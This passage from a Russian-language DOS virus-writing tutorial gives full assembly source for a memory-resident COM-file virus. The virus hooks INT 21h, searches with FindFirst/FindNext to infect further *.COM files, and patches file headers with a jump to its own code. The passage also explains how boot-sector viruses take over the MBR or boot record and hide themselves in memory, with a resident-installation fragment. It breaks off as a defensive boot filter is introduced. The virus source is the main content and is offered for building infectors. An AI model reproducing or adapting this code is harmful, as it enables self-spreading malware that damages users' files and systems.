CX,DS:[21h*4+0] ; │ MOV word ptr ES:[saved_int21 - 100h + 0],CX ; │ MOV CX,DS:[21h*4+2] ; │ MOV word ptr ES:[saved_int21 - 100h + 2],CX ; │ ; │ CLI ;кладем в таблицу векторов наш 13 MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;─>OFST MOV word ptr DS:[21h*4+2],AX ;──────>SEGMENT │ STI ; │ ;────────────────────────────────────────────────────────────┘ ;───────реставрируем начало файла и делаем переход на него───┐ no_tsr: PUSH CS ;восстанавливаем использованные │ PUSH CS ; в процессе работы регистры │ POP DS ; │ │ POP ES ;───┘ │ correct2: MOV SI,OFFSET data_exe ; │ MOV DI,100h ; │ MOV AX,DI ; │ MOV CX,6h ; │ CLD ; │ REPE MOVSB ; │ PUSH CS ; │ PUSH AX ; │ RETF ; │ ;────────────────────────────────────────────────────────────┘ ;────буфер для хранения исходного начала файла (перед запус-─┐ data_exe DW 20CDh ;ком чистой культуры вируса здесь хранится │ DB 0 ;код INT 20h (выход в DOS) и сигнатура ви- │ DB 0Eh ;руса, (чтобы он не заразил сам себя) │ DB 50h ; │ DB 0CBh ; │ ;────────────────────────────────────────────────────────────┘ ;────буфер для хранения кода JMP far на код вируса (операнд──┐ ; ;перехода устанавливается в момент заражения файла) │ implant: DB 0B8h ;MOV AX, │ where_jmp: DW 00 ; ? (смещение) │ DB 0Eh ;PUSH CS │ DB 50h ;PUSH AX │ DB 0CBh ;RETF │ my_end: ;────────────────────────────────────────────────────────────┘ save_arrea: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Мы решили объявить мораторий на заражение COMMAND.COM. Чисто для удоб- ства отладки вируса. Ломает каждый раз загружаться с системной дискеты и пе- реписывать этот файл заново. Но если захотим, -- нужно исправить лишь одну команду... Маленькое замечание. Может случиться так, что файл со структурой ЕХЕ-файла имеет расширение СОМ-. В этом случае следует предусмотреть анализ присутствия сигнатуры 'MZ' в начале файла (в вышепредставленном примере этого нет). И если обнаружится 'MZ', -- не заражать файл. Когда мы откомпилируем программу, то -- получим вирус в виде культуры, готовый к запуску. Может возникнуть вопрос: зачем буфер для хранения кодов смещенной части заражаемого файла в начале (перед самым первым запуском виру- са) содержит какой-то определенный код? Это просто. Когда мы запускаем куль- туру вируса, она должна посадить в МСВ резидент и вывалиться в DOS. Это выва- ливание достигается тем, что пересылаемая в начало файла часть кода начинает- ся с 20CDh (INT 20h) -- прерывание, обеспечивающее завершение программы и вы- ход в DOS. Кстати, когда Вы заканчиваете свою СОМ-программу инструкцией RET, -- предполагается, что это приведет к такому же результату. Инструкция RET извлекает слово из стека и помещает его в IP. Перед началом выполнения прог- раммы в вершине стека сидит 0. Т.о. если выполнится RET то управление перей- дет на адрес CS:0000. Это -- начало PSP. А там ВСЕГДА лежит пресловутое INT 20h. Когда DOS-овский загрузчик создает PSP, он ВСЕГДА сует INT 20h в его на- чало. Далее в буфере находится 0Eh,50h,0CBh. Это сигнатура, по которой вирус узнает, что он уже заразил файл (эта сигнатура -- часть кода блока JMP far на код вируса). Оказывается, вирус может иметь полезные функции. Нонсенс! Однако это -- правда. Используя вышепредставленный пример, Вы легко можете написать вирус, который производит вакцинацию СОМ-файлов. В момент, когда вирус заражает файл, он считает его контрольную сумму и сохраняет ее в своем коде вместе с длинной файла, временем его создания, исходным именем и прочими ключевыми ха- рактеристиками. При запуске зараженного файла вирус проверяет, изменилось-ли что-нибудь, и если да -- дает сигнал тревоги (ведь это могут быть действия другого вируса, напавшего на файл). Данный алгоритм, за исключением бескон- трольного размножения, ничим не отличается от действий настоящей вакцины. По- добно вакцинации в вирус можно заложить и другие полезные функции; например: упаковку файлов, имеющих пустОты в коде; привязку к конкретному компьютеру (защита от копирования) и проч. Кстати -- по поводу защиты от копирования, -- не так давно возник слух, что обнаружен вирус, разыскивающий ворованные (не- лецензионные) инсталляции популярной игры DOOM и уничтожающий ее. Маловероят- но, что сей вирус создан фирмой ID (авторами DOOM) в целях охраны авторских прав, но тем не менее... ВуалЯ, как говорят французы. Конец главе. гл.14 ИСПОЛЬЗОВАНИЕ ФУНКЦИЙ FindFirst и FindNext ДЛЯ УВЕЛИЧЕНИЯ ПОРАЖАЮЩЕЙ СПОСОБНОСТИ (на базе предыдущего примера) ════════════════════════════════════════════════════════════════════════════ Здесь Вы узнаете кое-что новое. Вирус, который будет описан в этой гла- ве, будет значительно более плодовит, нежели предыдущий. За счет использова- ния функций 4Eh (FindFirst) и 4Fh (FindNext) прерывания 21h MSDOS. Что это за функции такие? Функция 4Eh (FindFirst) позволяет Вам найти первый файл, имя которого соответствует указанной маске (входной параметр функции). Понятно, что в данном случае нас устраивает лишь маска *.COM. "Най- ти файл" -- означает выдать Вам его полное имя, размер, дату создания и т.д. По этим параметрам мы легко можем получить доступ к файлу и сделать с ним все что захотим. Прежде чем дать описание вызова этой функции, вспомним о DTA. DTA - область передачи данных, после запуска программы хранит введенные после ее имени символы. Но она используется также для передачи данных между разными процессами. У нас DTA будет пользоваться резидент. Но мы помним, что DTA, как правило -- собственность какого-либо процесса, владеющего собствен- ным PSP (DTA располагается в PSP по смещению 80h). А наш резидент будет си- деть в МСВ-блоке и никакого PSP у него не будет. Стремно пользоваться чужой DTA. Для подобных случаев в MS-DOS существует функция 1Ah -- установить DTA на свой буфер. Зачем же нам понадобилась DTA? Дело в том, что все данные о найденном файле функция FindFirst помещает в DTA. Вот как это выглядит (по данным thelp): ┌──────╥─────╥──────────────────────────────────────────────────────── │ Вход ║AH ║ 4fH (Найти 1-й совпадающий файл) └──────╢DS:DX║ адрес строки ASCIIZ с именем файла (допускаются ? и *) ║CX ║ атрибут файла для сравнения ┌──────╫─────╫──────────────────────────────────────────────────────── │ Выход║AX ║ код ошибки если CF установлен └──────╢DTA ║ заполнена данными (если не было ошибки) ╙─────╨──────────────────────────────────────────────────────── Описание: DS:DX указывает на строку ASCIIZ в форме: "d:\путь\имяфайла",0. Если диск и/или путь опущены, они подразумеваются по умолчанию. Обобщенные символы * и ? допускаются в имени файла и расширении. DOS находит имя первого файла в оглавлении, которое совпадает с за- данным именем и атрибутом, и помещает найденное имя и другую инфор- мацию в DTA, как показано ниже: DTA Смещ. Длн. Содержимое в DTA ───── ──── ─────────────────────────────────────────────────────────────── ┌──── ─ ─ ─ ────┐ +0 15H │ резервируется │ используется в последующих вызовах 4fH Find Next ├───┼ ─ ┴ ─ ┴───┘ +15H 1 │атр│ атрибут файла для найденного файла ├───┴───┐ +16H 2 │ время │ время создания/модификации в формате filetime ├───┴───┤ +18H 2 │ дата │ дата создания/модификации в формате filetime ├───┴───┼───────┐ +1aH 4 │ младш старш │ размер файла в байтах в формате DWORD ├───┴───┴───┴───┴┐ +1eH 0dH │ │ 13-байтовое ASCIIZ имя: "filename.ext",0 └───┴ ─ ┴ ─ ┴───┴┘ (не дополнено пробелами; напр., DOIT.BATщ____) 2cH требуемый размер буфера Замечания: Типичная последовательность, используемая для поиска всех подходящих файлов: > используйте вызов 1aH, чтобы установить DTA на локальный буфер (или используйте умалчиваемую DTA в PSP по смещению 80H) > уст. CX=атрибут, DS:DX => ASCIIZ диск, путь, обобщенное имя > вызовите функцию 4eH (Найти 1-й) > если флаг CF указывает ошибку, вы закончили (нет совпадений) > уст. DS:DX => DTA (или на данные, которые вы скопировали из DTA после вызова функции 4eH) > повторять обработать имя файла и данные по адресу DS:DX вызвать функцию 4fH (Найти следующий) пока Carry-флаг не покажет, что совпадений больше нет Однако функция FindFirst годна лишь для поиска сАмого первого из файлов нужного нам вида. А что, если первый подвернувшийся нам файл вовсе не годится для заражения (или это -- COMMAND.COM, или -- уже зараженный файл, или файл слишком большого размера) ? Для того, чтобы просмотреть остальные файлы мы можем воспользоваться функцией FindNext. Вот ее описание (по данным thelp): ┌─────────╥───────╥───────────────────────────────────────────────────────────── │ Вход ║ AH ║ 4fH (Найти следующий совпадающий файл) └─────────╢ DS:DX ║ адрес данных, возвращенных предыдущей 4eH Найти 1-й Файл ┌─────────╫───────╫───────────────────────────────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╢ DTA ║ заполнена данными ╙───────╨───────────────────────────────────────────────────────────── Описание: DS:DX указывает на 2bH-байтовый буфер с информацией, возвращенной функцией 4eH Найти 1-й (либо DTA, либо буфер, скопированный из DTA). Используйте эту функцию после вызова 4eH. Следующее имя файла, сов- падающее по обобщенному имени и атрибуту файла, копируется в буфер по адресу DS:DX вместе с другой информацией (см. функцию 4eH о структуре файловой информации в буфере, заполняемом DOS). Входные данные FindNext берет из DTA, заполненной функцией FindFirst и, в свою очередь, туда же помещает результаты своей работы. Вот и вся новизна этой главы. Теперь -- блок/схема программы: ┌──────────────────────┐ ┌───────────────────────┤ JMP to_initialization│ │ └──────────────────────┘ │ │ _/РЕЗИДЕНТНАЯ ЧАТСТЬ\_ │ INT 21h ┌────────────────────────────────────────────┐ │ │ │ а функция ли это N 4Bh? если нет -- │ │ └─────>│ сваливаем на IRET─────────────────────────────────────┐ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ BP = 0 (счетчик попыток │ │ │ │ найти новую жертву) │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ │ ┌─────────────────────>│ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │а СОМ- ли файл запускается? Нет -- ┬─ еще по-─┐ │ │ │ │и если запускается COMMAND.COM тоже ┴─ ищем ──┤ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │открыть запускаемый файл для чтения/записи │ │ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │прочитать первые 6 байт в свой буфер │ │ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │проверить, - заражен ли уже? если нет- │ │ │ │ │ │ займемся им──────────────────────────────────│─┐ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ │ ┌────────┴─────────────┐ │ │ │ │ │ │ закроем файл │ │ │ │ │ │ └────────┬─────────────┘ │ │ │ │ │ ┌────────┴─────────────┐ │ │ │ │ │ │ INC BP (еще попытка)│<─────────────┘ │ │ │ │ └────────┬─────────────┘ │ │ │ │ ┌────────┴─────────────┐ │ │ │ │ │BP > 10 ? да - уходим───────────────────────────> │ │ └────────┬─────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │ устанавливаем DTA на свой буфер (а можно │ │ │ │ │ │ воспользоваться и текущей DTA) │ │ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │ выбор способа поиска жертвы (если искали │ │ │ │ │ │ при помощи FindFirst, - выбираем FindNext) │ │ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │ ищем (при пом. FindFirst или, - FindNext) │ │ │ │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │ если ошибка (больше файлов нет) - уходим─────────────────> │ │ └──────────────────┬─────────────────────────┘ │ │ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │ │ │ устанавливаем DS:DX на имя нов. файла в DTA│ │ │ │ └───┴──────────────────┬─────────────────────────┘ │ │ │ │ │ │ │ ┌──────────────────┴─────────────────────────┐<───┘ │ │ │установка указателя на конец файла (при этом│ │ │ │мы получим длину файла в опред. формате (см.│ │ │ │выходные параметры функции LSEEK 42h) │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │по этим данным коррекция адресов в иници- │ │ │ │ализационной части │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │запись кода вируса в конец файла │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │установка указателя на начало файла │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │запись в начало файла JMP far на код вируса │ │ │ └──────────────────┬─────────────────────────┘ │ │ ┌──────────────────┴─────────────────────────┐ │ │ │закрыть файл │ │ │ └────────────┬──────────────┬────────────────┘ │ │ │ IRET │<─────────────────────────────┘ │ └──────────────┘ │ │ ┌─────────────────────────────────────────┐ └───────────>│сажаем резидент в МСВ-блок (если его нет)│ └──────────────────┬──────────────────────┘ ┌──────────────────┴──────────────────────┐ │реставрация начала файла (пересылка из бу- │фера сохраненного при заражении начала │ │файла в его начало) и переход на него │ └─────────────────────────────────────────┘ Возможно, что алгоритм не оптимален; в данном случае, как и всюду в этом опусе, эффективность принесена в жертву наглядности. Вот программа: ┌──────────────────────────────────────────────────────────┐ │ пример 21 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N21 комбинированный поиск жертвы (СОМ-файлов) ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; my_head: JMP initial ; ; first_sought: DB 0 ;индикатор отработанности FindFirst pattern: DB '*.COM',0 ;шаблон поиск для FindFirst f_number: DW 0 ;описатель файла ; ; ;хранилище для адреса стандартного saved_int21: DD 0 ; обработчика прерывания 13 ; ; (2 слова) ; int21_treater:CMP AH,4Bh JE begin JMP retro begin: PUSH AX PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH DI PUSH SI PUSH BP XOR BP,BP ;счетчик попыток поиска ;───────────анализ расширения файла─────────────────────────────┐ analysis: MOV DI,DX ;->DS:DX - имя ASCIIZ │ again: INC DI ;└──────────────────┘ │ CMP byte ptr DS:[DI],0 ; поиск конца имени фай- JNE again ; ла │ ; ; │ CMP byte ptr DS:[DI-5],44h ;не трогать COMMAND.COM│ JE first_failed ; │ CMP word ptr DS:[DI-2],4D4Fh ;работать лишь с .COM │ JNE first_failed ; файлами │ CMP word ptr DS:[DI-4],432Eh ; │ JE allowed ; │ first_failed: JMP and_once_more ;еще поищем │ ;───────────────────────────────────────────────────────────────┘ allowed: ;───────────открыть файл для чтения/записи──────────────────────┐ MOV CX,0 ;атрибут файла │ MOV AH,3Dh ;┌───────────────────┐ │ MOV AL,2 ;DS:[DX] - уже содер- │ CALL call_int_21 ; жится ASCIIZ строка │ MOV word ptr CS:[f_number - 100h],AX ; имени файла │ ;───────────────────────────────────────────────────────────────┘ ;───────────считать начало файла в буфер────────────────────────┐ PUSH CS ;переустановка─┐ │ POP DS ; │ │ MOV BX,word ptr CS:[f_number - 100h] ; │ │ MOV AH,3Fh ; <┘ │ MOV DX,OFFSET data_exe - 100h ;DS:[DX] - буфер ввода │ MOV CX,6h ; │ CALL call_int_21 ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────анализ наличия своего кода в файле─────────────────┐ CMP word ptr CS:[data_exe - 100h + 3],500Eh; │ JNE treat ;┬─свой код не │ CMP byte ptr CS:[data_exe - 100h + 5],0CBh ;│ найден => зара- JNE treat ;┴───зим этот файл │ ;───────────────────────────────────────────────────────────────┘ ; CALL close_file ;закрыть файл ; and_once_more:INC BP ;еще одна попытка ; ;────────────искали более 10 раз?───────────────────────────────┐ CMP BP,10 ; │ JB limit_unreach ;лимит не превышен │ to_to_exit: JMP to_exit ;лимит превышен │ ;───────────────────────────────────────────────────────────────┘ limit_unreach:;────────────установить DTA на свой буфер──────────────────────┐ MOV AH,1Ah ; │ PUSH CS ; │ POP DS ; │ MOV DX,OFFSET for_DTA - 100h ; │ CALL call_int_21 ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────выбор способа поиска───────────────────────────────┐ CMP byte ptr CS:[first_sought - 100h],1 ;FindFirst отработан?│ JE to_find_next ; да - use FindNext │ ;───────────────────────────────────────────────────────────────┘ to_find_first:;────────────поиск при помощи find_first────────────────────────┐ MOV DX,OFFSET pattern - 100h ; DS = CS - самый пер│ XOR CX,CX ; вый раз, больше │ MOV AH,4Eh ; так не будет │ MOV byte ptr CS:[first_sought - 100h],1 ; │ JMP short to_call_dos ; │ ;───────────────────────────────────────────────────────────────┘ to_find_next: ;────────────поиск при помощи find_next─────────────────────────┐ MOV AH,4Fh ;для поиска используется DTA, │ to_call_dos: CALL call_int_21 ; заполненная ранее FindFirst │ ;───────────────────────────────────────────────────────────────┘ JC to_to_exit ;(если ошибка - не может найти) ;──────────переустановка указателя на ASCIIZ (имя файла) в DTA──┐ MOV DX,OFFSET for_DTA - 100h + 1Eh ; по смещ-ю 1Eh в DTA│ JMP analysis ; - имя файла;(DS=CS)│ ;───────────────────────────────────────────────────────────────┘ ; ; ; treat: ;────────────операция LSEEK TO END (получение длины файла)──────┐ XOR CX,CX ; │ XOR DX,DX ; │ MOV BX,word ptr CS:[f_number - 100h] ; │ MOV AL,2 ; │ MOV AH,42h ;AX - длина файла │ CALL call_int_21 ;если файл длиннее │ CMP AX,0E000h ; E000h - не тро- │ JA to_close ; гать его │ ;───────────────────────────────────────────────────────────────┘ ;────────────корректировка адресов в инициирующей части─────────┐ MOV CX,OFFSET my_head ;AX - длина файла │ ADD CX,AX ; │ MOV word ptr CS:[correct1 - 100h + 1],CX ; подробн. комента- │ ; ; рий см. в пре- │ MOV CX,OFFSET data_exe ; дыдущем примере │ ADD CX,AX ; │ MOV word ptr CS:[correct2 - 100h + 1],CX ; │ ; ; │ MOV CX,100h ; │ ADD CX,AX ; │ MOV word ptr CS:[where_jmp - 100h],CX ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────запись своего кода в файл──────────────────────────┐ MOV byte ptr CS:[first_sought - 100h],0 ;регенерация флажка │ ; ; отработанности │ MOV BX,word ptr CS:[f_number - 100h] ; вызова FindFirst │ MOV DX,OFFSET my_head - 100h ;DS:[DX] - буфер вы-│ MOV CX,my_end - my_head ; вода │ MOV AH,40h ; │ CALL call_int_21 ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────операция LSEEK TO BEGINING─────────────────────────┐ XOR CX,CX ; │ XOR DX,DX ; │ MOV BX,word ptr CS:[f_number - 100h] ; │ MOV AL,0 ; │ MOV AH,42h ; │ CALL call_int_21 ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────запись JMP FAR на код──────────────────────────────┐ MOV BX,word ptr CS:[f_number - 100h] ; │ MOV DX,OFFSET implant - 100h ;DS:[DX] - буфер вы-│ MOV CX,6 ; вода │ MOV AH,40h ; │ CALL call_int_21 ; │ ;───────────────────────────────────────────────────────────────┘ ; to_close: CALL close_file ; to_exit: POP BP POP SI POP DI POP ES POP DS POP DX POP CX POP BX POP AX retro: JMP dword ptr CS:[saved_int21 - 100h] ; ; call_int_21: ;────────────вызов стандартного обработчика int 21h (процедура)─┐ PUSHF │ CALL dword ptr CS:[saved_int21 - 100h] │ RET │ ;───────────────────────────────────────────────────────────────┘ close_file: ;────────────закрыть файл (процедура)───────────────────────────┐ MOV BX,word ptr CS:[f_number - 100h] ; │ MOV AH,3Eh ; │ CALL call_int_21 ; │ RET ; │ ;───────────────────────────────────────────────────────────────┘ ; ; ; initial: ;────────────проверка наличия своей TSR копии в памяти──────────┐ MOV AX,40h ; │ MOV ES,AX ; │ CMP byte ptr ES:[134h],55h ; │ JE no_tsr ; │ MOV byte ptr ES:[134h],55h ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────создание своей TSR копии в памяти──────────────────┐ MOV AX,CS:[02] ;берем вершину свободной памяти │ ; ; (в параграфах) │ ; ; │ SUB AX,20h ;уменьшаем ее на 20h (в парагр.) │ ; ; │ correct1: MOV SI,OFFSET my_head ;копируем из источника DS:head │ MOV ES,AX ;копируем в приемник ES:00; в ES │ XOR DI,DI ; - новая вершина своб. памяти │ MOV CX,my_end - my_head ; │ CLD ; │ REPE MOVSB ; │ ; ; │ MOV BX,DS ; │ DEC BX ; │ MOV DS,BX ;уменьшаем размер МСВ-блока │ SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной │ SUB word ptr DS:[12h],20h ; памяти │ ;───────────────────────────────────────────────────────────────┘ ;────────────перехват прерывания 21h────────────────────────────┐ XOR BX,BX ; сохраняем старый вектор │ MOV DS,BX ; 13h в переслан. копию │ MOV CX,DS:[21h*4+0] ; │ MOV word ptr ES:[saved_int21 - 100h + 0],CX ; │ MOV CX,DS:[21h*4+2] ; │ MOV word ptr ES:[saved_int21 - 100h + 2],CX ; │ ; ; │ CLI ;кладем в таблицу векторов наш 13 │ MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;─>OFFSET│ MOV word ptr DS:[21h*4+2],AX ;──────>SEGMENT │ STI ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────реставрация начала файла и переход на него─────────┐ no_tsr: PUSH CS ; │ PUSH CS ; │ POP DS ; │ POP ES ; │ correct2: MOV SI,OFFSET data_exe ; │ MOV DI,100h ; │ MOV AX,DI ; │ MOV CX,6h ; │ CLD ; │ REPE MOVSB ; │ PUSH CS ; │ PUSH AX ; │ RETF ; │ ;───────────────────────────────────────────────────────────────┘ ;────────────буфер, куда считывается замещаемая часть файла─────┐ data_exe DW 20CDh ;в начале содержит INT 20h │ DB 0 ; (для запуска чистой │ DB 0Eh ; культуры) + сигнатура,- │ DB 50h ; чтобы не заражалась сама│ DB 0CBh ; культура │ ;───────────────────────────────────────────────────────────────┘ ;─────────заготовка JMP far на свой код, (имплантируется в файл)┐ implant: DB 0B8h ;MOV AX, │ where_jmp: DW 00 ; ? адрес джампа │ DB 0Eh ;PUSH CS │ DB 50h ;PUSH AX │ DB 0CBh ;RETF │ my_end: ;───────────────────────────────────────────────────────────────┘ for_DTA: ;здесь располагается буфер для DTA (в резиденте есть запас места) ; MainProcedure ENDP ; CodeSegment ENDS END Start Помимо функций FindFirst и FindNext вирусы также часто пользуются фун- кциями открытия файлов. гл.15 В КОТОРОЙ ВЫ УЗНАЕТЕ О ПРОКЛЯТИИ MSDOS -- БУТОВЫХ ВИРУСАХ (совершенно новая тема) ════════════════════════════════════════════════════════════════════════════ СРАЗУ ЖЕ ПРЕДУПРЕДИМ ВАС, что работа в данной области сопряжена с повы- шенной опасностью. => Вы должны, если решитесь что-либо предпринять, прояв- лять крайнюю осторожность. Вот какие минимальные правила техники безопасности мы бы Вам рекомендо- вали: при помощи программы diskeditor из нортоновских утилит перепишите на специальную дискету (в виде файлов) такие объекты ЖЕСТКОГО ДИСКА как Boot Record и Partition Table (они придставлены в меню diskeditor-а). Если Вы слу- чайно повредите эти объекты во время своего эксперимента, при помощи того же diskeditor-а (предварительно загрузившись с системной дискеты) Вы можете их восстановить (записать соответствующие файлы в область Boot Record или MBR). Более того, когда Вы вольно работаете с прерыванием 13h, иногда полезно быва- ет сохранять подобным образом даже FAT. Расскажем, не вдаваясь в излишние подробности о логической структуре жесткого диска (HDD). HDD разбит на разделы, называемые логическими дисками. На каждом из разделов в принципе может обитать своя операционная система. Каждый такой раздел имеет специальный загрузочный сектор, который, в случае если раздел имеет свою систему, хранит программу ее загрузки. Кроме разделов HDD имеет специальный трэк (дорожку), не доступный для пользователя MS-DOS; т.н. скрытый трэк. А как PC узнает, на каком из разделов находится система и как он ее заг- рузит? Дело в том, что на скрытом трэке, в самом его начале (цилиндр 0, сто- рона 0, сектор 1) находится специальная крохотная программа-загрузчик (Master Boot-Record (MBR)), которая анализирует, - какой из разделов имеет систему (является активным) и передает управление загрузчику этой системы. Теперь по-подробнее, -- как происходит процесс загрузки PC. 1) Вы включили электропитание; 2) Специальные подпрограммы BIOS-а, сидящие в ПЗУ, тестируют память и прочее железо; 3) Специальная подпрограмма BIOS-а считала с HDD самый первый сектор скрытого трэка (MBR) и передела ей управление. (MBR была считана по адресу 0000:7C00h); 4) MBR хранит в себе специальную таблицу (Partition Table), в которой говорится, на каком из разделов HDD сидит система; MBR анализирует эту таблицу, определяет активный раздел, после чего 5) MBR считывает в память (по адресу 0000:7C00h) загрузчик системы, (он находится на диске в начале соответствующего раздела) и передает ему управление; 6) Загрузчик системы (Boot Record (BR)) загружает в память системные файлы и передает им управление; 7) далее инициализируются драйверы из config.sys; запускается COMMAND.COM и стартует autoexec.bat; Достаточно долгий и нудный процесс. Но бутовые вирусы себя особо не ут- руждают. Когда бутовый вирус заражает компьютер, он переписывает либо MBR, либо -- BR в какое-либо другое место (как правило -- в пределах скрытого трэ- ка), а сам -- садится на их место. Когда в следующий раз включат зараженный PC, при выполнении пункта 3 (или 5) вместо MBR (или BR) в память по адресу 0000:7C00h будет считан и получит управление вирус. Он по специальному меха- низму посадит резидент и после этого загрузит по адресу 0000:7C00h MBR (или BR) и передаст ей управление. Вирус как бы вклинился в процесс загрузки; стал в нем посредником. Чаще вирусы нападают на BR, нежели на MBR. Это связано с рядом причин. Во-первых в процессе загрузки системы к MBR обращаются не единожды (читаются данные из Partition Table); т.о. вирус, либо должен оставить в неприкосновен- ности Partition Table, либо -- включить в свою резидентную процедуру СТЭЛС-блок, каждый раз, когда идет запрос на чтение сектора 001, подсовыва- ющий сохраненную где-то истинную MBR. Во-вторых даже при визуальном контроле (если вы загрузитесь с системной дискеты и посмотрите на сектор 001) в MBR легче обнаружить присутствие вируса, т.к. "здоровая" MBR занимает лишь около 1/3 сектора, остальное -- пустота. Встает вопрос: каким образом бутовые вирусы заражают PC? Есть 2 способа. Во-первых вирус может быть не чисто бутовым, а бутово-файловым; т.е. заражать как MBR (BR), так и EXE- и COM-файлы. С компьютера на компьютер он переносит- ся в файле. Во-первых вирус может внедряться в Boot Record-ы гибких дисков. Пользователь нередко забывает извлечь дискету из дисковода перед перезагруз- кой PC. Если это случится, PC пробует загрузить систему с дискеты. Тут-то и вылезает вирус. Теперь опишем механизм посадки резидента (он отличается от всех рассмот- ренных нами ранее). Мы уже пользовались областью данных BIOS. В ячейке с адресом 0040:0134h мы хранили флажок наличия резидентной копии вируса в памяти. Но помимо пустых ячеек, которые мы можем использовать в своих целях, область данных BIOS со- держит ячейки, хранящие очень важную информацию. В наших изысканиях нас будет интересовать ячейка с адресом 0000:0413h. Здесь хранится величина свободной памяти PC (одно слово). Выражается эта величина в килобайтах. В момент, когда файлы MS-DOS загружаются в память, загрузка эта выполняется с учетом величины свободной памяти. Если перед началом загрузки DOS уменьшить слово по адресу 0000:0413h, то после загрузки память будет распределена так, что появится свободная область, потерянная для DOS. Ее размер = величине, на которую мы уменьшили слово по адресу 0000:0413h (в килобайтах). В эту область мы и можем посадить наш резидент. Весь фрагмент посадки резидента будет выглядеть так: XOR AX,AX ;┐ MOV DS,AX ;│DS=0 MOV AX,word ptr DS:[0413h] ;│уменьшаем количество свободной DEC AX ;│памяти на 1 Kб MOV word ptr DS:[0413h],AX ;┘ ; MOV CL,06 ;┐вычисляем сегментный адрес SHL AX,CL ;├свободного участка памяти MOV ES,AX ;┘ ; MOV AX,rezident_segment ;┐ MOV DS,AX ;│пересылаем в захваченную MOV SI,rezident_offset ;│нами область код резидента XOR DI,DI ;│ (здесь это - 1 Кб) MOV CX,0100h ;│ CLD ;│ REPNE MOVSW ;┘ Ниже мы приводим программу, которая является, по-сути, фильтром предох- раняющим компьютер от бутовых вирусов. Этот фильтр, подобно бутовому вирусу, записывается (но только не сам по себе, а -- программистом) в сектор 0 0 1 (MBR при этом заблаговременно перемещается нами в сектор 0 0 7). В момент загрузки фильтр сажает резидент на прерывание 13h. Как только бутовый вирус попытается заразить PC (будет дано прерывание 13h -- запись в сектор 0 0 1 или 0 1 1) -- фильтр приостановит работу PC и выдаст предупреждение. После этого PC будет автоматически перезагружен при помощи команды JMP__far_0FFFF0000h (по этому адресу находится подпрограмма BIOS, осуществля- ющая перезагрузку). Фильтр реализует стэлс-механизм сектора 0 0 1 (при попыт- ке считать оттуда информацию мы получаем истинную MBR). Вот блок/схема программы: ┌─инициализационная часть─┐ _/блок обработки прерывания 13h\_ ┌────────────────────────────────────┐ ┌────────────────────────────────────┐ │ установка стека: SS=0, SP=7C00h │ │ читаеся сектор 0 0 1 HDD? если да -│ │(сам код начинается по 0000:7C00h) │ │подсовываем вместо него сектор 0 0 7│ └─────────────────┬──────────────────┘ │(истинную MBR,загодя там сохраненную) │ └─────────────────┬──────────────────┘ ┌─────────────────┴──────────────────┐ │ │ уменьшаем слово по адресу 0:413h │ ┌─────────────────┴──────────────────┐ └─────────────────┬──────────────────┘ │кто-то пытается что-то записать в │ │ │сектор 0 0 1? да -- идем на объявле-│ ┌─────────────────┴──────────────────┐ │ние тревоги >>───────────────────────┐ │ пересылаем резидент в освободив- │ └─────────────────┬──────────────────┘│ │ шуюся область │ │ │ └─────────────────┬──────────────────┘ ┌─────────────────┴──────────────────┐│ │ │кто-то пытается что-то записать в ││ ┌─────────────────┴──────────────────┐ │сектор 0 1 1? нет - идем на IRET >>──│┐ │ делаем JMP far на продолжение кода │ └─────────────────┬──────────────────┘││ │ уже в резиденте │ │<──────────────────┘│ └─────────────────┬──────────────────┘ ┌─────────────────┴──────────────────┐ │ │ │ объявление тревоги и перезагрузка │ │ ┌─────────────────┴──────────────────┐ │ PC (JMP far FFFF0000h) │ │ │ перехватываем вектор прерывания │ └────────────────────────────────────┘ │ │ 13h │ ┌──────────┐<─────────────┘ └─────────────────┬──────────────────┘ │ IRET │ │ └──────────┘ ┌─────────────────┴──────────────────┐ │ считываем по адресу 0000:7C00h │ │ истинную MBR (она была записана │ │ в сектор 0 0 7) │ └─────────────────┬──────────────────┘ │ ┌─────────────────┴──────────────────┐ │ делаем JMP far на 0000:7C00h │ │ (отдаем управл-е истинной MBR) │ └────────────────────────────────────┘ Довольно-таки простая конструкция. А вот и сама программа: ┌──────────────────────────────────────────────────────────┐ │ пример 22 │: └──────────────────────────────────────────────────────────┘ 